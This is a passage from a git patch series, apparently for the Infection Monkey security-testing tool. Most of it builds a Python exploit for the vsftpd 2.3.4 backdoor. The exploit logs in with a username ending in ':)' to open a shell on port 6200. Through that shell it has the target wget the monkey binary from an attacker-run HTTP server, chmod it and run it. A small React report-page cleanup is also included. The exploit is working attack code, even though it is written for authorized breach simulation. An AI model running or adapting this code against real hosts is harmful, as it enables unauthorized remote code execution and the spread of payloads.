= socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if socket_connect(ftp_socket,self.host.ip_addr, FTP_PORT): + ftp_socket.recv(128).decode('utf-8') + + # Attempt to login to trigger backdoor + + if socket_send_recv(ftp_socket,USERNAME): + if socket_send_recv(ftp_socket,PASSWORD): + ftp_socket.close() + LOG.info('Triggered backdoor') + else: + LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) + return False + else: + LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) + return False + + LOG.info('Attempting to connect to backdoor...') + backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + if socket_connect(backdoor_socket,self.host.ip_addr, 6200): LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) - command = str.encode("uname -m" + '\n') - backdoor_socket.send(command) - response = backdoor_socket.recv(128).decode('utf-8') + command = str.encode("uname -m" + '\n') + + response = socket_send_recv(backdoor_socket,command) + if response: LOG.info('Response for uname -m: %s', response) if '' != response.lower().strip(): - #command execution is successful + # command execution is successful self.host.os['machine'] = response.lower().strip() self.host.os['type'] = 'linux' + else : + LOG.info("Failed to execute command uname -m on victim %r ",self.host) - else : - LOG.info("Failed to execute command uname -m on victim %r ",self.host) + src_path = get_target_monkey(self.host) + LOG.info("src for suitable monkey executable for host %r is %s", self.host,src_path) - src_path = get_target_monkey(self.host) - LOG.info("src for suitable monkey executable for host %r is %s", self.host,src_path) - - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", self.host) - return False - - - LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) - - #copy the monkey into the machine - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) - dropper_target_path_linux = self._config.dropper_target_path_linux - LOG.info("Download link for monkey is %s",http_path) - - #download the monkey - download_command = '/usr/bin/wget %s -O %s;' % ( - http_path, dropper_target_path_linux) - LOG.info("Download_command is %s",download_command) - - command = str.encode(str(download_command) + '\n') - backdoor_socket.send(command) - http_thread.join(DOWNLOAD_TIMEOUT) - http_thread.stop() - - #changeit to executable - - execute_command = "/bin/chmod +x %s" % dropper_target_path_linux - LOG.info("Execute_command is %s",execute_command) - - command = str.encode(str(execute_command) + '\n') - - backdoor_socket.send(command) - - - #run the monkey - cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) - cmdline += "&" - - command = str.encode(str(cmdline) + '\n') - backdoor_socket.send(command) - - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) - - self._exploit_info['Vulnerability'] = {"Success":"True"} - - except socket.error as e: - LOG.error('Failed to connect to backdoor on %s:6200', self.host.ip_addr) - LOG.error('Error Connecting to backdoor. Error: %s' % e) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False + + # copy the monkey into the machine + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + dropper_target_path_linux = self._config.dropper_target_path_linux + LOG.info("Download link for monkey is %s",http_path) + + # download the monkey + download_command = '/usr/bin/wget %s -O %s;' % ( + http_path, dropper_target_path_linux) + LOG.info("Download_command is %s",download_command) + + download_command = str.encode(str(download_command) + '\n') + + if socket_send(backdoor_socket,download_command): + LOG.info('Monkey is now Downloaded ') + else: + LOG.error('Failed to download monkey at %s' , self.host.ip_addr) + return False + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + + # changeit to executable + + Change_exec_permission = "/bin/chmod +x %s" % dropper_target_path_linux + LOG.info("Change_exec_permission is %s",Change_exec_permission) + + Change_exec_permission = str.encode(str(Change_exec_permission) + '\n') + + if socket_send(backdoor_socket,Change_exec_permission): + LOG.info('Monkey can now be executed ') + else: + LOG.error('Failed to make the monkey executable at %s' , self.host.ip_addr) + return False + + + # run the monkey + cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + cmdline += "&" + + run_monkey = str.encode(str(cmdline) + '\n') + if socket_send(backdoor_socket,run_monkey): + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, self.host, cmdline) + else: + LOG.error('Monkey failed to run at %s' , self.host.ip_addr) + return False + + + self._exploit_info['Vulnerability'] = {"Success":"True"} + + return True From 3603d210ffe1e11cbde4103d1f7b1082edee135f Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Thu, 18 Apr 2019 21:07:17 +0200 Subject: [PATCH 14/19] Update ReportPage.js --- .../cc/ui/src/components/pages/ReportPage.js | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 754ded024..73bfd850d 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -408,15 +408,17 @@ class ReportPageComponent extends AuthComponent { generateReportRecommendationsSection() { return (
      - {Object.keys(this.state.report.recommendations.domain_issues).length !=0 ? -

      Domain related recommendations

      : null } - + {/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise, + * don't render it (since the issues themselves will be empty. */} + {Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ? +

      Domain related recommendations

      : null }
      {this.generateIssues(this.state.report.recommendations.domain_issues)}
      -

      - Machine related Recommendations -

      + {/* Checks if there are any issues. If there are more then one: render the title. Otherwise, + * don't render it (since the issues themselves will be empty. */} + {Object.keys(this.state.report.recommendations.issues).length !== 0 ? +

      Machine related recommendations

      : null }
      {this.generateIssues(this.state.report.recommendations.issues)}
      @@ -424,6 +426,7 @@ class ReportPageComponent extends AuthComponent { ); } + generateReportGlanceSection() { let exploitPercentage = (100 * this.state.report.glance.exploited.length) / this.state.report.glance.scanned.length; From 8d55229ce7d4bf8e7569065cde0cdb30506694ae Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Wed, 22 May 2019 00:47:26 +0200 Subject: [PATCH 15/19] Updated vsftpd.py --- monkey/infection_monkey/exploit/vsftpd.py | 169 ++++++++++------------ 1 file changed, 75 insertions(+), 94 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index c4db287dc..ab848cc0d 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -7,90 +7,83 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from infection_monkey.model import MONKEY_ARG +from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.web_rce import WebRCE from logging import getLogger LOG = getLogger(__name__) __author__ = 'D3fa1t' -FTP_PORT = 21 -TRANSFER_UPDATE_RATE = 15 -USERNAME = b'USER letmein:)\n' -PASSWORD = b'PASS please\n' -DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder - +FTP_PORT = 21 # port at which vsftpd runs +BACKDOOR_PORT = 6200 # backdoor port +RECV_128 = 128 # In Bytes +UNAME_M = "uname -m" +ULIMIT_V = "ulimit -v " # To increase the memory limit +UNLIMITED = "unlimited;" +USERNAME = b'USER D3fa1t:)\n'# Ftp Username +PASSWORD = b'PASS please\n' # Ftp Password +DOWNLOAD_TIMEOUT = 300 +FTP_TIME_BUFFER = 1 # In seconds class VSFTPDExploiter(HostExploiter): _TARGET_OS_TYPE = ['linux'] - - def __init__(self, host): + + def __init__ (self, host): self._update_timestamp = 0 super(VSFTPDExploiter, self).__init__(host) self.skip_exist = self._config.skip_exploit_if_file_exist - def socket_connect(s,ip_addr,port): + def socket_connect(self, s, ip_addr, port): try: - s.connect((ip_addr,port)) + s.connect((ip_addr, port)) return True except socket.error as e: - LOG.error('Failed to connect to %s' , self.host.ip_addr) - - return False - - def socket_send_recv(s,message): - try: - s.send(message) - return s.recv(128).decode('utf-8') - - except socket.error as e: - LOG.error('Failed to send payload to %s' , self.host.ip_addr) - + LOG.error('Failed to connect to %s', self.host.ip_addr) return False - def socket_send(s,message): + def socket_send_recv(self, s, message): try: s.send(message) - return True - + return s.recv(RECV_128).decode('utf-8') except socket.error as e: - LOG.error('Failed to send payload to %s' , self.host.ip_addr) - + LOG.error('Failed to send payload to %s', self.host.ip_addr) return False - - + def socket_send(self, s, message): + try: + s.send(message) + return True + except socket.error as e: + LOG.error('Failed to send payload to %s', self.host.ip_addr) + return False + def exploit_host(self): - - LOG.info('Attempting to trigger backdoor...') + LOG.info("Attempting to trigger the Backdoor..") ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - - if socket_connect(ftp_socket,self.host.ip_addr, FTP_PORT): - ftp_socket.recv(128).decode('utf-8') - - # Attempt to login to trigger backdoor - - if socket_send_recv(ftp_socket,USERNAME): - if socket_send_recv(ftp_socket,PASSWORD): - ftp_socket.close() - LOG.info('Triggered backdoor') - else: - LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) - return False + + if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): + ftp_socket.recv(RECV_128).decode('utf-8') + + if self.socket_send_recv(ftp_socket, USERNAME): + time.sleep(FTP_TIME_BUFFER) + self.socket_send(ftp_socket, PASSWORD) + ftp_socket.close() + LOG.info('Backdoor Enabled, Now we can run commands') else: LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) return False - + LOG.info('Attempting to connect to backdoor...') backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - if socket_connect(backdoor_socket,self.host.ip_addr, 6200): + if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT): LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) - - command = str.encode("uname -m" + '\n') - response = socket_send_recv(backdoor_socket,command) + uname_m = str.encode(UNAME_M + '\n') + response = self.socket_send_recv(backdoor_socket, uname_m) + if response: LOG.info('Response for uname -m: %s', response) if '' != response.lower().strip(): @@ -98,66 +91,54 @@ class VSFTPDExploiter(HostExploiter): self.host.os['machine'] = response.lower().strip() self.host.os['type'] = 'linux' else : - LOG.info("Failed to execute command uname -m on victim %r ",self.host) + LOG.info("Failed to execute command uname -m on victim %r ", self.host) src_path = get_target_monkey(self.host) - LOG.info("src for suitable monkey executable for host %r is %s", self.host,src_path) + LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - - # copy the monkey into the machine + # Create a http server to host the monkey http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) dropper_target_path_linux = self._config.dropper_target_path_linux - LOG.info("Download link for monkey is %s",http_path) - - # download the monkey - download_command = '/usr/bin/wget %s -O %s;' % ( - http_path, dropper_target_path_linux) - LOG.info("Download_command is %s",download_command) - - download_command = str.encode(str(download_command) + '\n') + LOG.info("Download link for monkey is %s", http_path) - if socket_send(backdoor_socket,download_command): + # Upload the monkey to the machine + monkey_path = dropper_target_path_linux + download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path} + download_command = str.encode(str(download_command) + '\n') + LOG.info("Download command is %s", download_command) + if self.socket_send(backdoor_socket, download_command): LOG.info('Monkey is now Downloaded ') else: - LOG.error('Failed to download monkey at %s' , self.host.ip_addr) + LOG.error('Failed to download monkey at %s', self.host.ip_addr) return False http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() - # changeit to executable - - Change_exec_permission = "/bin/chmod +x %s" % dropper_target_path_linux - LOG.info("Change_exec_permission is %s",Change_exec_permission) - - Change_exec_permission = str.encode(str(Change_exec_permission) + '\n') - - if socket_send(backdoor_socket,Change_exec_permission): - LOG.info('Monkey can now be executed ') - else: - LOG.error('Failed to make the monkey executable at %s' , self.host.ip_addr) - return False - + # Change permissions + change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path} + change_permission = str.encode(str(change_permission) + '\n') + LOG.info("change_permission command is %s", change_permission) + backdoor_socket.send(change_permission) + + # Run monkey on the machine + parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1) + run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} + + # Set unlimited to memory + run_monkey = ULIMIT_V + UNLIMITED + run_monkey + run_monkey = str.encode(str(run_monkey) + '\n') + time.sleep(FTP_TIME_BUFFER) + if backdoor_socket.send(run_monkey): + LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) + self._exploit_info['Vulnerability'] = {"Success":"True"} + return True + else: + return False + - # run the monkey - cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) - cmdline += "&" - - run_monkey = str.encode(str(cmdline) + '\n') - if socket_send(backdoor_socket,run_monkey): - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) - else: - LOG.error('Monkey failed to run at %s' , self.host.ip_addr) - return False - - - self._exploit_info['Vulnerability'] = {"Success":"True"} - - return True From feb4fea19e400a9b4240080515568f196552648c Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Wed, 22 May 2019 00:55:33 +0200 Subject: [PATCH 16/19] Update vsftpd.py Importing DOWNLOAD_TIMEOUT from the model --- monkey/infection_monkey/exploit/vsftpd.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index ab848cc0d..5ecbcdd1d 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -7,7 +7,7 @@ from common.utils.exploit_enum import ExploitType from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD +from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.web_rce import WebRCE from logging import getLogger @@ -24,7 +24,6 @@ ULIMIT_V = "ulimit -v " # To increase the memory limit UNLIMITED = "unlimited;" USERNAME = b'USER D3fa1t:)\n'# Ftp Username PASSWORD = b'PASS please\n' # Ftp Password -DOWNLOAD_TIMEOUT = 300 FTP_TIME_BUFFER = 1 # In seconds class VSFTPDExploiter(HostExploiter): From 595a089e60cf581b998931840683e84fd6d43eac Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Wed, 22 May 2019 11:40:28 +0200 Subject: [PATCH 17/19] Update vsftpd.py Removed the unneccesary lines --- monkey/infection_monkey/exploit/vsftpd.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 5ecbcdd1d..10a5d94ec 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -134,7 +134,6 @@ class VSFTPDExploiter(HostExploiter): time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey): LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux, self.host, run_monkey) - self._exploit_info['Vulnerability'] = {"Success":"True"} return True else: return False From 38d8146c985d309a19d993ad9c2f83102c1962fa Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Wed, 22 May 2019 16:06:42 +0200 Subject: [PATCH 18/19] Update vsftpd.py Added information about the exploit at the top, and made slight change to the format of the string USERNAME & PASSWORD --- monkey/infection_monkey/exploit/vsftpd.py | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 10a5d94ec..785b316a1 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -1,3 +1,10 @@ +""" + Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit + https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb + only vulnerable version is "2.3.4" +""" + + import StringIO import logging import paramiko @@ -22,8 +29,8 @@ RECV_128 = 128 # In Bytes UNAME_M = "uname -m" ULIMIT_V = "ulimit -v " # To increase the memory limit UNLIMITED = "unlimited;" -USERNAME = b'USER D3fa1t:)\n'# Ftp Username -PASSWORD = b'PASS please\n' # Ftp Password +USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor +PASSWORD = b'PASS please' # Ftp Password FTP_TIME_BUFFER = 1 # In seconds class VSFTPDExploiter(HostExploiter): @@ -65,9 +72,9 @@ class VSFTPDExploiter(HostExploiter): if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT): ftp_socket.recv(RECV_128).decode('utf-8') - if self.socket_send_recv(ftp_socket, USERNAME): + if self.socket_send_recv(ftp_socket, USERNAME + '\n'): time.sleep(FTP_TIME_BUFFER) - self.socket_send(ftp_socket, PASSWORD) + self.socket_send(ftp_socket, PASSWORD + '\n') ftp_socket.close() LOG.info('Backdoor Enabled, Now we can run commands') else: From af5cc9031a2ef4dde54d16f279ae90113ff99fa6 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Wed, 22 May 2019 16:25:43 +0200 Subject: [PATCH 19/19] Update vsftpd.py --- monkey/infection_monkey/exploit/vsftpd.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 785b316a1..1d99f130e 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -136,7 +136,7 @@ class VSFTPDExploiter(HostExploiter): run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters} # Set unlimited to memory - run_monkey = ULIMIT_V + UNLIMITED + run_monkey + run_monkey = ULIMIT_V + UNLIMITED + run_monkey # we don't have to revert the ulimit because it just applies to the shell obtained by our exploit run_monkey = str.encode(str(run_monkey) + '\n') time.sleep(FTP_TIME_BUFFER) if backdoor_socket.send(run_monkey):